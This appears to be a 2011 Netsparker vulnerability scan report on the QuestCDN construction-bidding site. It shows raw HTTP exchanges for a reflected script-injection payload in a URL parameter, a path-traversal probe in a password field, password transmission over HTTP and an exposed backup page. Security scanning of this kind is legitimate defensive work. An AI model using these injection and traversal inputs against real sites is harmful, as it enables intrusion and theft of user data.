http://www.questcdn.com/questcdn/setTab/projects/MyProjects/my_projects.html?current_tab=projects¤t_sub_tab='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000201)%3C/script%3E
Injection Request
GET /questcdn/setTab/projects/MyProjects/my_projects.html?current_tab=projects¤t_sub_tab='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000201)%3C/script%3E HTTP/1.1
Referer: http://www.questcdn.com/questcdn/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.questcdn.com
Cookie: sessionIdentifier=/8065817978969251119
Accept-Encoding: gzip, deflate
Identification Request
GET /questcdn/account/acc_mod/acc_mod.html?jobPK=3&loginPagePath=index.html&nextPage=3&password=../../../../../../CANTBEHERE/../../../../proc/self/fd/2&root_page=true HTTP/1.1
Referer: http://www.questcdn.com/questcdn/account/acc_mod/acc_mod.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.questcdn.com
Cookie: sessionIdentifier=/8065817978969251119
Accept-Encoding: gzip, deflate
Injection Response
HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 23:37:53 GMT
Server: Apache/2.2.4 (Ubuntu) mod_jk/1.2.23 mod_ssl/2.2.4 OpenSSL/0.9.8e PHP/5.2.3-1ubuntu6
Set-Cookie: sessionIdentifier=/8065817978969251119; Expires=Thu, 03-Mar-2011 23:37:53 GMT; Path=/questcdn
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Length: 29451
Content-Type: text/html;charset=utf-8
Identification Response
HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 23:37:53 GMT
Server: Apache/2.2.4 (Ubuntu) mod_jk/1.2.23 mod_ssl/2.2.4 OpenSSL/0.9.8e PHP/5.2.3-1ubuntu6
Set-Cookie: sessionIdentifier=/8065817978969251119; Expires=Thu, 03-Mar-2011 23:37:53 GMT; Path=/questcdn
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Length: 30393
Content-Type: text/html;charset=utf-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><!-- saved from url=(0042)http://www.theborngroup.com/clients/quest/ --><html xmlns="http://www.w3.org/1999/xhtml"><head> <title>Quest Construction Data Network</title> <meta http-equiv="content-type" content="text/html;charset=ISO-8859-1"/> <meta content="MSHTML 6.00.2800.1226" name="GENERATOR"/> <script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/quest.js"></script> <link rel="stylesheet" type="text/css" href="/questcdn/css_scripts/welcome.css" media="screen"/><!--embed so we can use some of the substitution capabilities--> <link rel="stylesheet" type="text/css" href="/questcdn/css_scripts/menuQuestCDN.css" media="screen"/>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/quest.js"></script>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/validation.js"></script>
<script type="text/javascript" language="JavaScript1.2">
var pageUrl, currentTab, currentSubTab;
var currentClassName = 'current';
var disabledClassName = 'disabled';
var currentTabName = 'current_tab';
var currentSubTabName = 'current_sub_tab';
var sCurrentTab = 'projects';
var sCurrentSubTab = ''"--></style></script><script>netsparker(0x000201)</script>';
var siteMenuClassName = 'siteMenu';
var siteSubMenuClassName = 'siteSubMenu';
var pageMenuClassName = 'pageMenu';
function initTab()
{
//alert('initTab');
getPageUrl();
//alert('sCurrentTab:[projects] sCurrentSubTab:['"--></style></script><script>netsparker(0x000201)</script>]');
setCurrentTab(null, 'projects');
initMenu(siteMenuClassName);
initMenu(siteSubMenuClassName);
initMenu(pageMenuClassName);
}
function getPageUrl()
{
pageUrl = window.location.href;
var pos = pageUrl.indexOf('?');
if (pos > 0)
pageUrl = pageUrl.substring(0, pos);
currentTab = getCurrent(null, currentTabName);
currentSubTab = getCurrent(null, currentSubTabName);
pageUrl = addTabInfo(pageUrl, currentTab, currentSubTab);
}
function initMenu(menuClassName)
{
var menuObj = document.getElementById(menuClassName);
if (menuObj != null)
{
var mainMenu = menuObj.getElementsByTagName('UL')[0];
if (mainMenu != null)
{
var menuElements = mainMenu.getElementsByTagName('LI');
if (menuElements != null && menuElements.length > 0)
{
var mainMenuItem = menuElements[0];
mainMenu.style.height = mainMenuItem.offsetHeight + 2 + 'px';
while(mainMenuItem)
{
if(mainMenuItem.tagName == 'LI')
{
mainMenuItem.style.cssText = 'float:left;';
mainMenuItem.style.styleFloat = 'left';
}
mainMenuItem = mainMenuItem.nextSibling;
}
}
}
}
}
function isHomePage()
{
var isHome = false;
if (pageUrl != null && (
pageUrl.indexOf('welcome') > 0 || pageUrl.indexOf('questLogin') > 0 ||
pageUrl.indexOf('index.html') > 0 || pageUrl.charAt(pageUrl.length - 1) == '/'
))
isHome = true;
//alert('url:' + pageUrl.charAt(pageUrl.length - 1));
//alert('isHome:' + isHome);
return isHome;
}
function getParameter(name)
{
name = name.replace(/[\[]/, '\\\[').replace(/[\]]/, '\\\]');
var regexS = '[\\?&]' + name + '=([^&#]*)';
var regex = new RegExp(regexS);
var results = regex.exec(window.location.href);
if (results == null)
return '';
else
return results[1];
}
function isSelected(item)
{
var selected = false;
var className = getClass(item);
if (className == currentClassName)
selected = true;
return selected;
}
function isDisabled(item)
{
var disabled = false;
var className = getClass(item);
//alert('id:' + item.id + ' className:' + className);
if (className == disabledClassName)
disabled = true;
return disabled;
}
function setSelected(item)
{
if (item != undefined)
{
var mItems = item.parentNode.parentNode.getElementsByTagName('a');
for (var i = 0; i < mItems.length; i++)
{
if (!isDisabled(mItems[i]))
setClass(mItems[i], '');
}
if (!isDisabled(item))
setClass(item, currentClassName);
}
}
function setClass(item, className)
{
item.setAttribute('class', className);
item.setAttribute('className', className);
}
function getClass(item)
{
var className = item.getAttribute('class');
if (className == null || className.length == 0)
className = item.getAttribute('className', className);
return className;
}
function getCurrent(sessData, name)
{
var parmData = getParameter(name);
return (parmData == '' ? sessData : parmData);
}
function setLocation(url, tab, subtab)
{
var root = '/questcdn/action/';
var pos = url.indexOf('.html');
if (pos > 0)
root = '/questcdn/setTab/';
url = root + url;
window.location.href = addTabInfo(url, tab, subtab);
}
function addTabInfo(url, tab, subtab)
{
if (tab != undefined)
{
url += '?current_tab=' + tab;
if (subtab != undefined)
url += '¤t_sub_tab=' + subtab;
}
return url;
}
function setCurrentTab(item, currentTab)
{
//alert('currentTab:' + currentTab + ' pCurrentTab:' + getParameter(currentTabName));
if (item == undefined)
{
currentTab = getCurrent(currentTab, currentTabName);
if ((currentTab == null || currentTab.length == 0) && isHomePage())
currentTab = 'home';
if (!isHomePage() && currentTab == 'home')
currentTab = null;
//alert('currentTab:' + currentTab);
if (currentTab != null && currentTab.length > 0)
{
item = document.getElementById(currentTab);
setSelected(item);
}
var obj = document.getElementById('siteSubMenu');
if (obj != null)
{
var mItems = obj.getElementsByTagName('a');
if (mItems.length == 0)
obj.style.display = 'none';
}
var cst = getCurrent(sCurrentSubTab, currentSubTabName);
//alert('cst:' + cst);
if (cst != null)
setSelected(document.getElementById(cst));
}
else if (item != undefined && !isSelected(item) && !isDisabled(item))
{
var url = null;
var subtab = null;
switch(item.id)
{
case 'home':
//alert('Clicked Home!');
url = 'welcome.html';
break;
case 'projects':
//alert('Clicked Projects!');
url = 'projects/prj_browse/project_browse_grid.html';
subtab = 'find';
break;
case 'industry_directory':
//alert('Clicked Industry Directory!');
url = 'industry/ind_browse/ind_browse_f.html';
subtab = 'indbrowse';
break;
case 'myAccount':
//alert('Clicked My Account!');
url = 'account/acc_mod/acc_mod.html';
subtab = 'accModify';
break;
case 'memberBenefits':
displayMemberBenefits('/questcdn');
break;
case 'providerBenefits':
displayProviderBenefits('/questcdn');
break;
case 'demonstration':
displayDemo('/questcdn');
break;
case 'classifiedAds':
var className = getClass(item);
alert('className:' + className);
//displayDemo('/questcdn');
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
{
setSelected(item);
setLocation(url, item.id, subtab);
}
}
}
function siteHeaderMenuClick(item)
{
if (item != null)
{
var url = null;
switch(item.id)
{
case 'contactQuest':
displayContactQuest('/questcdn');
break;
case 'faqs':
url = 'faqs/faq.html';
break;
case 'logout':
url = 'questLogout';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url);
}
}
function projectsMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'projects';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'find':
url = 'projects/prj_browse/project_browse_grid.html';
break;
case 'myprojects':
url = 'projects/MyProjects/my_projects.html';
break;
case 'results':
//url = 'projects/prj_view/prj__browse_f1.html';
url = 'projects/prj_view/project_view_grid.html';
break;
case 'add':
url = 'projects/prj_add_mod/prj_add.html';
break;
case 'modify':
//url = 'ShowProjListPage';
url = 'projects/prj_add_mod/project_modify_grid.html';
break;
case 'reports':
url = 'reports/reports.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}
function industryMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'industry_directory';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'indBrowse':
url = 'industry/ind_browse/ind_browse_f.html';
break;
case 'indSearch':
url = 'industry/ind_search/ind_search.html';
break;
case 'indModify':
url = 'industry/ind_add_mod/ind_mod.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}
function accountMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'myAccount';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'accModify':
url = 'account/acc_mod/acc_mod.html';
break;
case 'accBilling':
url = '/questcdn/account/acc_bill/acc_bill.html';
window.open(url, 'billingWindow', 'height=400,width=500');
url = null;
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}
function showProjects()
{
var url = '/questcdn/setTab/projects/MyProjects/my_projects.html?current_tab=projects¤t_sub_tab=myprojects';
url += '&allMember=true';
location.href = url;
}
</script>
<script type="text/javascript" language="JavaScript1.2"> function loadPage() { document.userdata.submit(); } </script></head><body onload="document.userdata.username.focus()" bgcolor="#ffffff"><form name="userdata" action="/questcdn/action/questLogin" method="POST"> <input type="hidden" name="loginPagePath" value="index.html"/> <input type="hidden" name="root_page" value="true"/> <input type="hidden" name="nextPage" value="3"/> <input type="hidden" name="jobPK" value="3"/><!--$Header: embeds/menuQuestCDN.html 2010/09/21 enelsen $--> <table width="760" border="0" cellspacing="0" cellpadding="0"> <tr> <td> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td style="width:50%"><img alt="QuestCDN.COM" src="/questcdn/images/banners/QuestCDNLogo.gif"/></td> <td> <div id="siteHeaderMenu" style="width:100%"> <ul style="width:100%"> <li><a href="#" onclick="siteHeaderMenuClick(this);" id="contactQuest" title="Contact Quest"><span>Contact Quest</span></a></li> </ul> </div> </td> </tr> <tr> <td colspan="2"><div style="display:block;background:#666530"><img alt="" src="/questcdn/images/banners/QuestTagLine.gif"/></div></td> </tr> </table> </td> </tr> <tr> <td> <div id="siteMenu" style="width:100%"> <ul style="width:100%"> <li><a href="#" onclick="setCurrentTab(this);" id="memberBenefits" title="Member Benefits"><span>Member Benefits</span></a></li> <li><a href="#" onclick="setCurrentTab(this);" id="providerBenefits" title="Provider Benefits"><span>Provider Benefits</span></a></li> <li><a href="#" onclick="setCurrentTab(this);" id="demonstration" title="Demonstration"><span>Demonstration</span></a></li> <!--<li><a href="#" onclick="setCurrentTab(this);" id="classifiedAds" title="" class="disabled"><span>Classified Ads</span></a></li>--> </ul> </div> </td> </tr> <tr> <td> <div id="siteSubMenu" style="width:100%"> <ul style="width:100%"> <li><a href="#" onclick="projectsMenuClick(this);" id="find" title="Find Projects"><span>Find</span></a></li> <li><a href="#" onclick="projectsMenuClick(this);" id="myprojects" title="My Projects"><span>My Projects</span></a></li> <li><a href="#" onclick="projectsMenuClick(this);" id="results" title="View Results"><span>Results</span></a></li> </ul> </div> </td> </tr> </table><script type="text/javasc..
Password Transmitted Over HTTP
Password Transmitted Over HTTP
Netsparker identified that password data is sent over HTTP.
Impact
If an attacker can intercept network traffic he/she can steal users credentials.
Actions to Take
- See the remedy for solution.
- Move all of your critical forms and pages to HTTPS and do not serve them over HTTP.
All sensitive data should be transferred over HTTPS rather than HTTP. Forms should be served over HTTPS. All aspects of the application that accept user input starting from the login process should only be served over HTTPS.
- /questcdn/projects/prj_add_mod/project_modify_grid.html
/questcdn/projects/prj_add_mod/project_modify_grid.html
CONFIRMED
|
/questcdn/action/questLogin
Request
GET /questcdn/projects/prj_add_mod/project_modify_grid.html HTTP/1.1
Referer: http://www.questcdn.com/questcdn/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.questcdn.com
Cookie: sessionIdentifier=/8065817978969251119
Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 23:36:00 GMT
Server: Apache/2.2.4 (Ubuntu) mod_jk/1.2.23 mod_ssl/2.2.4 OpenSSL/0.9.8e PHP/5.2.3-1ubuntu6
Set-Cookie: sessionIdentifier=/8065817978969251119; Expires=Thu, 03-Mar-2011 23:36:00 GMT; Path=/questcdn
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Length: 29737
Content-Type: text/html;charset=utf-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><!-- saved from url=(0042)http://www.theborngroup.com/clients/quest/ --><html xmlns="http://www.w3.org/1999/xhtml"><head> <title>Quest Construction Data Network</title> <meta http-equiv="content-type" content="text/html;charset=ISO-8859-1"/> <meta content="MSHTML 6.00.2800.1226" name="GENERATOR"/> <script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/quest.js"></script> <link rel="stylesheet" type="text/css" href="/questcdn/css_scripts/welcome.css" media="screen"/><!--embed so we can use some of the substitution capabilities--> <link rel="stylesheet" type="text/css" href="/questcdn/css_scripts/menuQuestCDN.css" media="screen"/>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/quest.js"></script>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/validation.js"></script>
<script type="text/javascript" language="JavaScript1.2">
var pageUrl, currentTab, currentSubTab;
var currentClassName = 'current';
var disabledClassName = 'disabled';
var currentTabName = 'current_tab';
var currentSubTabName = 'current_sub_tab';
var sCurrentTab = '';
var sCurrentSubTab = '';
var siteMenuClassName = 'siteMenu';
var siteSubMenuClassName = 'siteSubMenu';
var pageMenuClassName = 'pageMenu';
function initTab()
{
//alert('initTab');
getPageUrl();
//alert('sCurrentTab:[] sCurrentSubTab:[]');
setCurrentTab(null, '');
initMenu(siteMenuClassName);
initMenu(siteSubMenuClassName);
initMenu(pageMenuClassName);
}
function getPageUrl()
{
pageUrl = window.location.href;
var pos = pageUrl.indexOf('?');
if (pos > 0)
pageUrl = pageUrl.substring(0, pos);
currentTab = getCurrent(null, currentTabName);
currentSubTab = getCurrent(null, currentSubTabName);
pageUrl = addTabInfo(pageUrl, currentTab, currentSubTab);
}
function initMenu(menuClassName)
{
var menuObj = document.getElementById(menuClassName);
if (menuObj != null)
{
var mainMenu = menuObj.getElementsByTagName('UL')[0];
if (mainMenu != null)
{
var menuElements = mainMenu.getElementsByTagName('LI');
if (menuElements != null && menuElements.length > 0)
{
var mainMenuItem = menuElements[0];
mainMenu.style.height = mainMenuItem.offsetHeight + 2 + 'px';
while(mainMenuItem)
{
if(mainMenuItem.tagName == 'LI')
{
mainMenuItem.style.cssText = 'float:left;';
mainMenuItem.style.styleFloat = 'left';
}
mainMenuItem = mainMenuItem.nextSibling;
}
}
}
}
}
function isHomePage()
{
var isHome = false;
if (pageUrl != null && (
pageUrl.indexOf('welcome') > 0 || pageUrl.indexOf('questLogin') > 0 ||
pageUrl.indexOf('index.html') > 0 || pageUrl.charAt(pageUrl.length - 1) == '/'
))
isHome = true;
//alert('url:' + pageUrl.charAt(pageUrl.length - 1));
//alert('isHome:' + isHome);
return isHome;
}
function getParameter(name)
{
name = name.replace(/[\[]/, '\\\[').replace(/[\]]/, '\\\]');
var regexS = '[\\?&]' + name + '=([^&#]*)';
var regex = new RegExp(regexS);
var results = regex.exec(window.location.href);
if (results == null)
return '';
else
return results[1];
}
function isSelected(item)
{
var selected = false;
var className = getClass(item);
if (className == currentClassName)
selected = true;
return selected;
}
function isDisabled(item)
{
var disabled = false;
var className = getClass(item);
//alert('id:' + item.id + ' className:' + className);
if (className == disabledClassName)
disabled = true;
return disabled;
}
function setSelected(item)
{
if (item != undefined)
{
var mItems = item.parentNode.parentNode.getElementsByTagName('a');
for (var i = 0; i < mItems.length; i++)
{
if (!isDisabled(mItems[i]))
setClass(mItems[i], '');
}
if (!isDisabled(item))
setClass(item, currentClassName);
}
}
function setClass(item, className)
{
item.setAttribute('class', className);
item.setAttribute('className', className);
}
function getClass(item)
{
var className = item.getAttribute('class');
if (className == null || className.length == 0)
className = item.getAttribute('className', className);
return className;
}
function getCurrent(sessData, name)
{
var parmData = getParameter(name);
return (parmData == '' ? sessData : parmData);
}
function setLocation(url, tab, subtab)
{
var root = '/questcdn/action/';
var pos = url.indexOf('.html');
if (pos > 0)
root = '/questcdn/setTab/';
url = root + url;
window.location.href = addTabInfo(url, tab, subtab);
}
function addTabInfo(url, tab, subtab)
{
if (tab != undefined)
{
url += '?current_tab=' + tab;
if (subtab != undefined)
url += '¤t_sub_tab=' + subtab;
}
return url;
}
function setCurrentTab(item, currentTab)
{
//alert('currentTab:' + currentTab + ' pCurrentTab:' + getParameter(currentTabName));
if (item == undefined)
{
currentTab = getCurrent(currentTab, currentTabName);
if ((currentTab == null || currentTab.length == 0) && isHomePage())
currentTab = 'home';
if (!isHomePage() && currentTab == 'home')
currentTab = null;
//alert('currentTab:' + currentTab);
if (currentTab != null && currentTab.length > 0)
{
item = document.getElementById(currentTab);
setSelected(item);
}
var obj = document.getElementById('siteSubMenu');
if (obj != null)
{
var mItems = obj.getElementsByTagName('a');
if (mItems.length == 0)
obj.style.display = 'none';
}
var cst = getCurrent(sCurrentSubTab, currentSubTabName);
//alert('cst:' + cst);
if (cst != null)
setSelected(document.getElementById(cst));
}
else if (item != undefined && !isSelected(item) && !isDisabled(item))
{
var url = null;
var subtab = null;
switch(item.id)
{
case 'home':
//alert('Clicked Home!');
url = 'welcome.html';
break;
case 'projects':
//alert('Clicked Projects!');
url = 'projects/prj_browse/project_browse_grid.html';
subtab = 'find';
break;
case 'industry_directory':
//alert('Clicked Industry Directory!');
url = 'industry/ind_browse/ind_browse_f.html';
subtab = 'indbrowse';
break;
case 'myAccount':
//alert('Clicked My Account!');
url = 'account/acc_mod/acc_mod.html';
subtab = 'accModify';
break;
case 'memberBenefits':
displayMemberBenefits('/questcdn');
break;
case 'providerBenefits':
displayProviderBenefits('/questcdn');
break;
case 'demonstration':
displayDemo('/questcdn');
break;
case 'classifiedAds':
var className = getClass(item);
alert('className:' + className);
//displayDemo('/questcdn');
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
{
setSelected(item);
setLocation(url, item.id, subtab);
}
}
}
function siteHeaderMenuClick(item)
{
if (item != null)
{
var url = null;
switch(item.id)
{
case 'contactQuest':
displayContactQuest('/questcdn');
break;
case 'faqs':
url = 'faqs/faq.html';
break;
case 'logout':
url = 'questLogout';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url);
}
}
function projectsMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'projects';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'find':
url = 'projects/prj_browse/project_browse_grid.html';
break;
case 'myprojects':
url = 'projects/MyProjects/my_projects.html';
break;
case 'results':
//url = 'projects/prj_view/prj__browse_f1.html';
url = 'projects/prj_view/project_view_grid.html';
break;
case 'add':
url = 'projects/prj_add_mod/prj_add.html';
break;
case 'modify':
//url = 'ShowProjListPage';
url = 'projects/prj_add_mod/project_modify_grid.html';
break;
case 'reports':
url = 'reports/reports.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}
function industryMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'industry_directory';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'indBrowse':
url = 'industry/ind_browse/ind_browse_f.html';
break;
case 'indSearch':
url = 'industry/ind_search/ind_search.html';
break;
case 'indModify':
url = 'industry/ind_add_mod/ind_mod.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}
function accountMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'myAccount';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'accModify':
url = 'account/acc_mod/acc_mod.html';
break;
case 'accBilling':
url = '/questcdn/account/acc_bill/acc_bill.html';
window.open(url, 'billingWindow', 'height=400,width=500');
url = null;
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}
function showProjects()
{
var url = '/questcdn/setTab/projects/MyProjects/my_projects.html?current_tab=projects¤t_sub_tab=myprojects';
url += '&allMember=true';
location.href = url;
}
</script>
<script type="text/javascript" language="JavaScript1.2"> function loadPage() { document.userdata.submit(); } </script></head><body onload="document.userdata.username.focus()" bgcolor="#ffffff"><form name="userdata" action="/questcdn/action/questLogin" method="POST"> <input type="hidden" name="loginPagePath" value="index.html"/> <input type="hidden" name="root_page" value="true"/> <input type="hidden" name="nextPage" value=""/> <input type="hidden" name="jobPK" value=""/><!--$Header: embeds/menuQuestCDN.html 2010/09/21 enelsen $--> <table width="760" border="0" cellspacing="0" cellpadding="0"> <tr> <td> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td style="width:50%"><img alt="QuestCDN.COM" src="/questcdn/images/banners/QuestCDNLogo.gif"/></td> <td> <div id="siteHeaderMenu" style="width:100%"> <ul style="width:100%"> <li><a href="#" onclick="siteHeaderMenuClick(this);" id="contactQuest" title="Contact Quest"><span>Contact Quest</span></a></li> </ul> </div> </td> </tr> <tr> <td colspan="2"><div style="display:block;background:#666530"><img alt="" src="/questcdn/images/banners/QuestTagLine.gif"/></div></td> </tr> </table> </td> </tr> <tr> <td> <div id="siteMenu" style="width:100%"> <ul style="width:100%"> <li><a href="#" onclick="setCurrentTab(this);" id="memberBenefits" title="Member Benefits"><span>Member Benefits</span></a></li> <li><a href="#" onclick="setCurrentTab(this);" id="providerBenefits" title="Provider Benefits"><span>Provider Benefits</span></a></li> <li><a href="#" onclick="setCurrentTab(this);" id="demonstration" title="Demonstration"><span>Demonstration</span></a></li> <!--<li><a href="#" onclick="setCurrentTab(this);" id="classifiedAds" title="" class="disabled"><span>Classified Ads</span></a></li>--> </ul> </div> </td> </tr> <tr> <td> <div id="siteSubMenu" style="width:100%"> </div> </td> </tr> </table><script type="text/javascript" language="JavaScript1.2"> addLoadEvent(initTab);</script><table cellspacing="0" cellpadding="0" width="760" border="0"> <tr style="height:5"> <td></td> </tr> <tr> <td><img alt="" src="/questcdn/images/elements/el_log_photos.jpg" border="0"/></TD> </tr> <tr style="height:30"> <td></td> </tr> <TR> <TD> <TABLE cellSpacing=0 cellPadding=0 width=760 border=0> <TR> <TD vAlign=top align=middle width=277> <TABLE cellSpacing=0 cellPadding=0 width=277 border=0> <TR height=70> <TD width=75 height=70></TD> <TD width=10 height=70></TD> <TD height=70></TD> </..
Backup Source Code Found
Backup Source Code Found
Netsparker identified Backup source code file on your web server.
Impact
Depending on the nature of the source code disclosed an attacker can mount one or more of the following types of attacks :
- Access the database or other data resources. With the privileges of the account obtained attempt to read, update or delete arbitrary data from the database.
- Access password protected administrative mechanisms such as "dashboard", "management console" and "admin panel" potentially leading to full control of the application.
- Develop further attacks by investigating the source code for input validation errors and logic vulnerabilities.
Actions to Take
- Remove all of temporary and backup files.
Required skills for successful exploitation
This is dependent on the information obtained from source code. Uncovering these forms of vulnerabilities does not require high levels of skills. However a highly skilled attacker could leverage this form of vulnerability to obtain account information for databases or administrative panels, ultimately leading to control of the application or even the host the application reside on.
External References
- /questcdn/index.html.bak
/questcdn/index.html.bak
|
Request
GET /questcdn/index.html.bak HTTP/1.1
Referer: http://www.questcdn.com/questcdn/index.html.bak
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.questcdn.com
Cookie: sessionIdentifier=/5196948904207894690
Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 23:41:17 GMT
Server: Apache/2.2.4 (Ubuntu) mod_jk/1.2.23 mod_ssl/2.2.4 OpenSSL/0.9.8e PHP/5.2.3-1ubuntu6
ETag: W/"20214-1239719019000"
Last-Modified: Tue, 14 Apr 2009 14:23:39 GMT
Content-Length: 20214
Content-Type: text/html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><!-- saved from url=(0042)http://www.theborngroup.com/clients/quest/ --><HTML><HEAD> <TITLE>Quest Construction Data Network</TITLE> <META http-equiv=content-type content=text/html;charset=ISO-8859-1> <META content="MSHTML 6.00.2800.1226" name=GENERATOR> <script type="text/javascript" src="{!a:appContext!}/j_scripts/quest.js"></script> <link href="{!a:appContext!}/css_scripts/welcome.css" rel="stylesheet" media="screen"> <CSSCRIPTDICT import> <script type="text/javascript" src="{!a:appContext!}/j_scripts/CSScriptLib.js"></script> </CSSCRIPTDICT> <CSACTIONDICT><SCRIPT type=text/javascript><!--CSInit[CSInit.length] = new Array(CSILoad,/*CMP*/'b_main_contact',/*URL*/'{!a:appContext!}/images/buttons/bu_contact.gif',/*URL*/'{!a:appContext!}/images/buttons/bd_contact.gif',/*URL*/'','');CSInit[CSInit.length] = new Array(CSILoad,/*CMP*/'b_main_member',/*URL*/'{!a:appContext!}/images/buttons/bu_main_member.gif',/*URL*/'{!a:appContext!}/images/buttons/bd_main_member.gif',/*URL*/'','');CSInit[CSInit.length] = new Array(CSILoad,/*CMP*/'b_main_provider',/*URL*/'{!a:appContext!}/images/buttons/bu_main_provider.gif',/*URL*/'{!a:appContext!}/images/buttons/bd_main_provider.gif',/*URL*/'','');CSInit[CSInit.length] = new Array(CSILoad,/*CMP*/'b_main_demo',/*URL*/'{!a:appContext!}/images/buttons/bu_main_classif.gif',/*URL*/'{!a:appContext!}/images/buttons/bd_main_classif.gif',/*URL*/'','');CSInit[CSInit.length] = new Array(CSILoad,/*CMP*/'b_main_classified',/*URL*/'{!a:appContext!}/images/buttons/bu_classif.gif',/*URL*/'{!a:appContext!}/images/buttons/bd_classif.gif',/*URL*/'','');CSInit[CSInit.length] = new Array(CSILoad,/*CMP*/'b_log_submit',/*URL*/'{!a:appContext!}/images/buttons/bu_submit.gif',/*URL*/'{!a:appContext!}/images/buttons/bd_submit.gif',/*URL*/'','');CSInit[CSInit.length] = new Array(CSILoad,/*CMP*/'b_log_join',/*URL*/'{!a:appContext!}/images/buttons/bu_log_join.gif',/*URL*/'{!a:appContext!}/images/buttons/bd_log_join.gif',/*URL*/'','');CSInit[CSInit.length] = new Array(CSILoad,/*CMP*/'b_log_business',/*URL*/'{!a:appContext!}/images/buttons/bu_log_business.gif',/*URL*/'{!a:appContext!}/images/buttons/bd_log_business.gif',/*URL*/'','');CSAct[/*CMP*/ 'BA08515F1'] = new Array(CSCallFunction,'login','self');CSAct[/*CMP*/ 'BA0859BE3'] = new Array(CSOpenWindow,/*URL*/ '{!s:showPage!}log_on/log_sub_fees.html?root_page=true','',450,400,true,true,false,false,false,false,false);// --></SCRIPT> </CSACTIONDICT></HEAD><body onload="CSScriptInit();document.userdata.username.focus()" bgcolor="#ffffff"><form name="userdata" Action="{!s:action!}questLogin" Method="POST"> <input type="hidden" name="loginPagePath" value="index.html"> <input type="hidden" name="root_page" value="true"><TABLE cellSpacing=0 cellPadding=0 width=760 border=0> <TBODY> <TR> <TD> <TABLE cellSpacing=0 cellPadding=0 width=760 border=0> <TBODY> <TR height=28> <TD width=277 height=50 rowSpan=2><IMG height=50 alt="Quest CDN.COM" src="{!a:appContext!}/images/banners/ba_main_left.gif" width=277 border=0></TD> <TD align=right height=28><A href=""><IMG height=28 alt="Contact Quest" src="{!a:appContext!}/images/buttons/bu_contact.gif" width="120" border="0" name="b_main_contact" onClick="return displayContactQuest('{!a:appContext!}')" onmouseover="this.src='{!a:appContext!}/images/buttons/bd_contact.gif'" onmouseout="this.src='{!a:appContext!}/images/buttons/bu_contact.gif'"></A></TD> </TR> <TR height=22> <TD bgColor=#666530 height=22><IMG height=22 alt="" src="{!a:appContext!}/images/banners/ba_main_right.gif" width=323 border=0></TD> </TR> </TBODY> </TABLE> </TD> </TR> <TR> <TD bgColor=#126666> <TABLE cellSpacing=0 cellPadding=0 width=750 border=0> <TBODY> <TR> <TD align="left"> </TD> <TD align="right"><TABLE cellSpacing=0 cellPadding=0 border=0> <TR> <TD><A href=""><IMG height="28" alt="Member Benefits" src="{!a:appContext!}/images/buttons/bu_main_member.gif" width="122" border="0" name="b_main_member" onmouseover="this.src='{!a:appContext!}/images/buttons/bd_main_member.gif'" 